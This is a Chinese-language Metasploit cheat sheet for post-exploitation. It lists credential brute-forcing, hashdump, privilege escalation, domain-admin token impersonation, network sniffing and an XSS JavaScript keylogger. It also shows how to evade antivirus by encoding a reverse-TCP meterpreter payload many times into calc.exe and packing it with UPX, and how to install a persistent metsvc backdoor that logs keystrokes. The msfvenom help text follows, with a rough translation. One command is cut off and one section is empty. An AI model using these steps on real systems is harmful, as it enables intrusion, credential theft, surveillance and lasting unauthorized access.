metasploit进阶之路
1.口令安全
search mysql_login ssh_login
2.hash传递渗透
hashdump
3.内核提权
getsystem
4.后门生成
linux:
5.内网渗透
1.run get_local_subnets :获得网卡,扫描c段
2. use incognito : 调用劫持域管理模块
3.list_oken -u 查看有那些域管理
4.impersonate_token 域管理用户
5.shell
6.没有域管理使用嗅探
7.use auxliary/sniffer/psnuffle run 嗅探模块
六.免杀
1.可以尝试多重编码:
msfvenom -p windows/meterpreter/reverse_tcp lhost=<Your IP Address> lport=<Your Port to Connect On
这里使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以calc.exe为模板的可执行文件。
2.对上述生成的木马进行upx加壳
upx shell.exe
七.玩转xss
1.search keylogger --http_javascript_keylogger
2.set DEMO true
3. set URIPATH /
4.set srvport 80
5. run
八.维持访问
1.前提有一个会话
2.run metsvc -A 建立长久后门
3.exploit(handler) > set payload windows/metsvc_bind_tcp
4.options
5.keyscan_start 键盘记录
6.keyscan_dump 查看键盘记录
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-l,--list<type>列出[type]的所有模块。类型有:有效载荷、编码器、nop、平台、arch、加密、格式、所有
-p,--payload<payload>要使用的有效负载(--list payloads to list,--list options for arguments)。为自定义指定“-”或stdin
--列表选项列表——有效载荷的标准、高级和规避选项
-f,--format<format>输出格式(使用--列出要列出的格式)
-e,--编码器<encoder>要使用的编码器(使用--列出要列出的编码器)
--sec name<value>生成大型windows二进制文件时要使用的新节名。默认值:随机4字符alpha字符串
--最小使用所有可用的编码器生成最小的可能负载
--encrypt<value>应用于外壳代码的加密或编码类型(使用--list encrypt to list)
--encrypt key<value>要用于的密钥--encrypt
--encrypt iv<value>的初始化向量--encrypt
-a,-arch<arch>用于--payload和--encoder的体系结构(使用--list arch to list)
--platform<platform>用于--有效负载的平台(使用--列出要列出的平台)
-o,--out<path>将有效负载保存到文件
-B,--错误字符<list>要避免的字符示例:'\x00\xff'
-n,--nosled<length>在有效载荷上预先放置一个[length]大小的nosled
--pad nop使用由-n<length>指定的nosled大小作为总有效负载大小,自动预处理数量的nosled(nops减去有效负载长度)
-s,--空间<长度>产生的有效载荷的最大尺寸
--编码器空间<长度>编码有效负载的最大大小(默认为-s值)
-i,--迭代<count>对有效载荷进行编码的次数
-C,--add code<path>指定要包括的其他win32外壳代码文件
-x,--template<path>指定要用作模板的自定义可执行文件
-k,--保持--template行为并将有效负载作为新线程注入
-v,--var name<value>指定用于特定输出格式的自定义变量名
-t,--timeout<second>从stdin读取有效负载时等待的秒数(默认为30,0表示禁用)